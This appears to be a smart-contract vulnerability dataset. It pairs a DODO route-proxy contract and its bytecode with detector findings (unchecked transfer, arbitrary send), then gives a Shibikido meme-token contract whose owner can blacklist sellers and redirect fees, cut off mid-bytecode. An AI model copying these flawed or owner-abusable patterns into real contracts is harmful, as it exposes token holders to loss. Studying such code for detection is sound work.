library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function universalTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function universalApproveMax(
IERC20 token,
address to,
uint256 amount
) internal {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, uint256(-1));
}
}
function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (isETH(token)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function tokenBalanceOf(IERC20 token, address who) internal view returns (uint256) {
return token.balanceOf(who);
}
function isETH(IERC20 token) internal pure returns (bool) {
return token == ETH_ADDRESS;
}
}
// File: contracts/SmartRoute/intf/IDODOAdapter.sol
interface IDODOAdapter {
function sellBase(address to, address pool) external;
function sellQuote(address to, address pool) external;
}
// File: contracts/SmartRoute/proxies/DODORouteProxy.sol
/**
* @title DODORouteProxy
* @author DODO Breeder
*
* @notice Entrance of Split trading in DODO platform
*/
contract DODORouteProxy {
using SafeMath for uint256;
using UniversalERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _DODO_APPROVE_PROXY_;
// ============ Events ============
event OrderHistory(
address fromToken,
address toToken,
address sender,
uint256 fromAmount,
uint256 returnAmount
);
// ============ Modifiers ============
modifier judgeExpired(uint256 deadLine) {
require(deadLine >= block.timestamp, "DODORouteProxy: EXPIRED");
_;
}
fallback() external payable {}
receive() external payable {}
constructor (
address payable weth,
address dodoApproveProxy
) public {
_WETH_ = weth;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
function dodoMutliSwap(
uint256 fromTokenAmount,
uint256 minReturnAmount,
uint256[] memory totalWeight,
uint256[] memory splitNumber,
address[] memory midToken,
address[] memory assetFrom,
bytes[] memory sequence,
uint256 deadLine
) external payable judgeExpired(deadLine) returns (uint256 returnAmount) {
require(assetFrom.length == splitNumber.length, 'DODORouteProxy: PAIR_ASSETTO_NOT_MATCH');
require(minReturnAmount > 0, "DODORouteProxy: RETURN_AMOUNT_ZERO");
uint256 _fromTokenAmount = fromTokenAmount;
address fromToken = midToken[0];
address toToken = midToken[midToken.length - 1];
uint256 toTokenOriginBalance = IERC20(toToken).universalBalanceOf(msg.sender);
_deposit(msg.sender, assetFrom[0], fromToken, _fromTokenAmount, fromToken == _ETH_ADDRESS_);
_multiSwap(totalWeight, midToken, splitNumber, sequence, assetFrom);
if(toToken == _ETH_ADDRESS_) {
returnAmount = IWETH(_WETH_).balanceOf(address(this));
IWETH(_WETH_).withdraw(returnAmount);
msg.sender.transfer(returnAmount);
}else {
returnAmount = IERC20(toToken).tokenBalanceOf(msg.sender).sub(toTokenOriginBalance);
}
require(returnAmount >= minReturnAmount, "DODORouteProxy: Return amount is not enough");
emit OrderHistory(
fromToken,
toToken,
msg.sender,
_fromTokenAmount,
returnAmount
);
}
//====================== internal =======================
function _multiSwap(
uint256[] memory totalWeight,
address[] memory midToken,
uint256[] memory splitNumber,
bytes[] memory swapSequence,
address[] memory assetFrom
) internal {
for(uint256 i = 1; i < splitNumber.length; i++) {
// define midtoken address, ETH -> WETH address
uint256 curTotalAmount = IERC20(midToken[i]).tokenBalanceOf(assetFrom[i-1]);
uint256 curTotalWeight = totalWeight[i-1];
for(uint256 j = splitNumber[i-1]; j < splitNumber[i]; j++) {
(address pool, address adapter, uint256 mixPara) = abi.decode(swapSequence[j], (address, address, uint256));
uint256 direction = mixPara >> 17;
uint256 weight = (0xffff & mixPara) >> 9;
uint256 poolEdition = (0xff & mixPara);
if(assetFrom[i-1] == address(this)) {
uint256 curAmount = curTotalAmount.div(curTotalWeight).mul(weight);
if(poolEdition == 1) {
//For using transferFrom pool (like dodoV1)
IERC20(midToken[i]).transfer(adapter, curAmount);
} else {
//For using transfer pool (like dodoV2)
IERC20(midToken[i]).transfer(pool, curAmount);
}
}
if(direction == 0) {
IDODOAdapter(adapter).sellBase(assetFrom[i], pool);
} else {
IDODOAdapter(adapter).sellQuote(assetFrom[i], pool);
}
}
}
}
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}
}
|
0x6080604052600436106100385760003560e01c80630d4eec8f14610041578063817917881461006c578063eb99be121461008c5761003f565b3661003f57005b005b34801561004d57600080fd5b506100566100a1565b6040516100639190610ec6565b60405180910390f35b61007f61007a366004610da4565b6100c5565b6040516100639190611162565b34801561009857600080fd5b506100566103f3565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600081428110156100f15760405162461bcd60e51b81526004016100e890610f6b565b60405180910390fd5b86518551146101125760405162461bcd60e51b81526004016100e8906110af565b600089116101325760405162461bcd60e51b81526004016100e89061104a565b60008a905060008760008151811061014657fe5b6020026020010151905060008860018a51038151811061016257fe5b60200260200101519050600061018a33836001600160a01b031661041790919063ffffffff16565b90506101d5338a60008151811061019d57fe5b6020026020010151858773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0316886001600160a01b0316146104bd565b6101e28c8b8d8b8d61060a565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610357576040516370a0823160e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906370a0823190610253903090600401610ec6565b60206040518083038186803b15801561026b57600080fd5b505afa15801561027f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a39190610d8c565b604051632e1a7d4d60e01b81529096506001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21690632e1a7d4d906102f2908990600401611162565b600060405180830381600087803b15801561030c57600080fd5b505af1158015610320573d6000803e3d6000fd5b505060405133925088156108fc02915088906000818181858888f19350505050158015610351573d6000803e3d6000fd5b50610383565b610380816103746001600160a01b0385163363ffffffff61099716565b9063ffffffff6109c616565b95505b8c8610156103a35760405162461bcd60e51b81526004016100e890610fa2565b7f92ceb067a9883c85aba061e46b9edf505a0d6e81927c4b966ebed543a5221787838333878a6040516103da959493929190610ef4565b60405180910390a1505050505098975050505050505050565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b6000610422836109ee565b1561043857506001600160a01b038116316104b7565b6040516370a0823160e01b81526001600160a01b038416906370a0823190610464908590600401610ec6565b60206040518083038186803b15801561047c57600080fd5b505afa158015610490573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b49190610d8c565b90505b92915050565b801561057e578115610579577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b15801561052457600080fd5b505af1158015610538573d6000803e3d6000fd5b505050506001600160a01b03851630149050610579576105797f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610a13565b610603565b60405163052f523360e11b81526001600160a01b037f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc6191690630a5ea466906105d0908690899089908890600401610f28565b600060405180830381600087803b1580156105ea57600080fd5b505af11580156105fe573d6000803e3d6000fd5b505050505b5050505050565b60015b835181101561098f57600061065d83600184038151811061062a57fe5b602002602001015187848151811061063e57fe5b60200260200101516001600160a01b031661099790919063ffffffff16565b9050600087600184038151811061067057fe5b60200260200101519050600086600185038151811061068b57fe5b602002602001015190505b8684815181106106a257fe5b60200260200101518110156109845760008060008884815181106106c257fe5b60200260200101518060200190518101906106dd9190610d2a565b8a519295509093509150601182901c90607f600984901c169060ff84169030908c906000198d0190811061070d57fe5b60200260200101516001600160a01b031614156108815760006107468361073a8c8c63ffffffff610a6e16565b9063ffffffff610aa016565b905081600114156107ea578e8b8151811061075d57fe5b60200260200101516001600160a01b031663a9059cbb87836040518363ffffffff1660e01b8152600401610792929190610f52565b602060405180830381600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e49190610d6c565b5061087f565b8e8b815181106107f657fe5b60200260200101516001600160a01b031663a9059cbb88836040518363ffffffff1660e01b815260040161082b929190610f52565b602060405180830381600087803b15801561084557600080fd5b505af1158015610859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087d9190610d6c565b505b505b826108fe57846001600160a01b031663815846958c8c815181106108a157fe5b6020026020010151886040518363ffffffff1660e01b81526004016108c7929190610eda565b600060405180830381600087803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b50505050610972565b846001600160a01b0316637c9a7c978c8c8151811061091957fe5b6020026020010151886040518363ffffffff1660e01b815260040161093f929190610eda565b600060405180830381600087803b15801561095957600080fd5b505af115801561096d573d6000803e3d6000fd5b505050505b50506001909401935061069692505050565b50505060010161060d565b505050505050565b6040516370a0823160e01b81526000906001600160a01b038416906370a0823190610464908590600401610ec6565b6000828211156109e85760405162461bcd60e51b81526004016100e89061108c565b50900390565b6001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14919050565b610a698363a9059cbb60e01b8484604051602401610a32929190610f52565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610ada565b505050565b6000808211610a8f5760405162461bcd60e51b81526004016100e890611022565b818381610a9857fe5b049392505050565b600082610aaf575060006104b7565b82820282848281610abc57fe5b04146104b45760405162461bcd60e51b81526004016100e89061113f565b60006060836001600160a01b031683604051610af69190610e8d565b6000604051808303816000865af19150503d8060008114610b33576040519150601f19603f3d011682016040523d82523d6000602084013e610b38565b606091505b509150915081610b5a5760405162461bcd60e51b81526004016100e890610fed565b805115610b915780806020019051810190610b759190610d6c565b610b915760405162461bcd60e51b81526004016100e8906110f5565b50505050565b600082601f830112610ba7578081fd5b8135610bba610bb582611192565b61116b565b818152915060208083019084810181840286018201871015610bdb57600080fd5b60005b84811015610c03578135610bf1816111b2565b84529282019290820190600101610bde565b505050505092915050565b6000601f8381840112610c1f578182fd5b8235610c2d610bb582611192565b818152925060208084019085810160005b84811015610cc0578135880189603f820112610c5957600080fd5b8381013567ffffffffffffffff811115610c7257600080fd5b610c83818901601f1916860161116b565b81815260408c81848601011115610c9957600080fd5b82818501888401375060009181018601919091528552509282019290820190600101610c3e565b50505050505092915050565b600082601f830112610cdc578081fd5b8135610cea610bb582611192565b818152915060208083019084810181840286018201871015610d0b57600080fd5b60005b84811015610c0357813584529282019290820190600101610d0e565b600080600060608486031215610d3e578283fd5b8351610d49816111b2565b6020850151909350610d5a816111b2565b80925050604084015190509250925092565b600060208284031215610d7d578081fd5b815180151581146104b4578182fd5b600060208284031215610d9d578081fd5b5051919050565b600080600080600080600080610100898b031215610dc0578384fd5b8835975060208901359650604089013567ffffffffffffffff80821115610de5578586fd5b610df18c838d01610ccc565b975060608b0135915080821115610e06578586fd5b610e128c838d01610ccc565b965060808b0135915080821115610e27578586fd5b610e338c838d01610b97565b955060a08b0135915080821115610e48578485fd5b610e548c838d01610b97565b945060c08b0135915080821115610e69578384fd5b50610e768b828c01610c0e565b92505060e089013590509295985092959890939650565b60008251815b81811015610ead5760208186018101518583015201610e93565b81811115610ebb5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6001600160a01b03929092168252602082015260400190565b60208082526017908201527f444f444f526f75746550726f78793a2045585049524544000000000000000000604082015260600190565b6020808252602b908201527f444f444f526f75746550726f78793a2052657475726e20616d6f756e7420697360408201526a040dcdee840cadcdeeaced60ab1b606082015260800190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526022908201527f444f444f526f75746550726f78793a2052455455524e5f414d4f554e545f5a45604082015261524f60f01b606082015260800190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b60208082526026908201527f444f444f526f75746550726f78793a20504149525f4153534554544f5f4e4f546040820152650be9a82a886960d31b606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b90815260200190565b60405181810167ffffffffffffffff8111828210171561118a57600080fd5b604052919050565b600067ffffffffffffffff8211156111a8578081fd5b5060209081020190565b6001600160a01b03811681146111c757600080fd5b5056fea264697066735822122003d6c03c33157f5c20507982eccbc0b217c4e728e9ff873bf4a4f9d0ea6c82b964736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,420 |
0xa8c4ac5ba1cf86c352a02875e5b0a8f32baf5847
|
/*
░██████╗██╗░░██╗██╗██████╗░██╗██╗░░██╗██╗██████╗░░█████╗░
██╔════╝██║░░██║██║██╔══██╗██║██║░██╔╝██║██╔══██╗██╔══██╗
╚█████╗░███████║██║██████╦╝██║█████═╝░██║██║░░██║██║░░██║
░╚═══██╗██╔══██║██║██╔══██╗██║██╔═██╗░██║██║░░██║██║░░██║
██████╔╝██║░░██║██║██████╦╝██║██║░╚██╗██║██████╔╝╚█████╔╝
╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░╚═╝╚═╝░░╚═╝╚═╝╚═════╝░░╚════╝░
$Shibikido
Tg - https://t.me/shibikido
100% Stealth Launch
2 Eth Launch on Uniswap + 100% Supply,
Liquidty lock on Team Finance
Tax 10% - Buy and Sell
Liquidity, Marketing and Reflection
Ownership will be renounced soon after Launch
Max Transaction - 10% at Launch
Slippage 11% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TOKEN_ETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shibikido";
string private constant _symbol = "Shibikido";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x1DA7898Fb7A3CfA1dD8E544D62ea25C5b29212Df);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 69_000_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 50_000_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610317578063c3c8cd8014610337578063c9567bf91461034c578063dbe8272c14610361578063dc1052e214610381578063dd62ed3e146103a157600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b411461015c5780639e78fb4f146102e2578063a9059cbb146102f757600080fd5b806323b872dd116100f257806323b872dd14610214578063273123b714610234578063313ce567146102545780636fc3eaec1461027057806370a082311461028557600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019d57806318160ddd146101cd5780631bbae6e0146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461184f565b6103e7565b005b34801561016857600080fd5b50604080518082018252600981526853686962696b69646f60b81b6020820152905161019491906118cc565b60405180910390f35b3480156101a957600080fd5b506101bd6101b836600461175d565b610438565b6040519015158152602001610194565b3480156101d957600080fd5b50690e9c7f5bd655012000005b604051908152602001610194565b34801561020057600080fd5b5061015a61020f366004611887565b61044f565b34801561022057600080fd5b506101bd61022f36600461171d565b610493565b34801561024057600080fd5b5061015a61024f3660046116ad565b6104fc565b34801561026057600080fd5b5060405160098152602001610194565b34801561027c57600080fd5b5061015a610547565b34801561029157600080fd5b506101e66102a03660046116ad565b61057b565b3480156102b157600080fd5b5061015a61059d565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610194565b3480156102ee57600080fd5b5061015a610611565b34801561030357600080fd5b506101bd61031236600461175d565b610850565b34801561032357600080fd5b5061015a610332366004611788565b61085d565b34801561034357600080fd5b5061015a610901565b34801561035857600080fd5b5061015a610941565b34801561036d57600080fd5b5061015a61037c366004611887565b610b0c565b34801561038d57600080fd5b5061015a61039c366004611887565b610b44565b3480156103ad57600080fd5b506101e66103bc3660046116e5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461041a5760405162461bcd60e51b81526004016104119061191f565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610445338484610b7c565b5060015b92915050565b6000546001600160a01b031633146104795760405162461bcd60e51b81526004016104119061191f565b6802b5e3af16ed22ca008111156104905760108190555b50565b60006104a0848484610ca0565b6104f284336104ed85604051806060016040528060288152602001611a9d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f97565b610b7c565b5060019392505050565b6000546001600160a01b031633146105265760405162461bcd60e51b81526004016104119061191f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105715760405162461bcd60e51b81526004016104119061191f565b4761049081610fd1565b6001600160a01b0381166000908152600260205260408120546104499061100b565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016104119061191f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461063b5760405162461bcd60e51b81526004016104119061191f565b600f54600160a01b900460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610411565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f557600080fd5b505afa158015610709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072d91906116c9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077557600080fd5b505afa158015610789573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ad91906116c9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f557600080fd5b505af1158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d91906116c9565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610445338484610ca0565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016104119061191f565b60005b81518110156108fd576001600660008484815181106108b957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f581611a32565b91505061088a565b5050565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016104119061191f565b60006109363061057b565b90506104908161108f565b6000546001600160a01b0316331461096b5760405162461bcd60e51b81526004016104119061191f565b600e5461098d9030906001600160a01b0316690e9c7f5bd65501200000610b7c565b600e546001600160a01b031663f305d71947306109a98161057b565b6000806109be6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a2157600080fd5b505af1158015610a35573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a5a919061189f565b5050600f8054690e9c7f5bd6550120000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ad457600080fd5b505af1158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610490919061186b565b6000546001600160a01b03163314610b365760405162461bcd60e51b81526004016104119061191f565b600f81101561049057600b55565b6000546001600160a01b03163314610b6e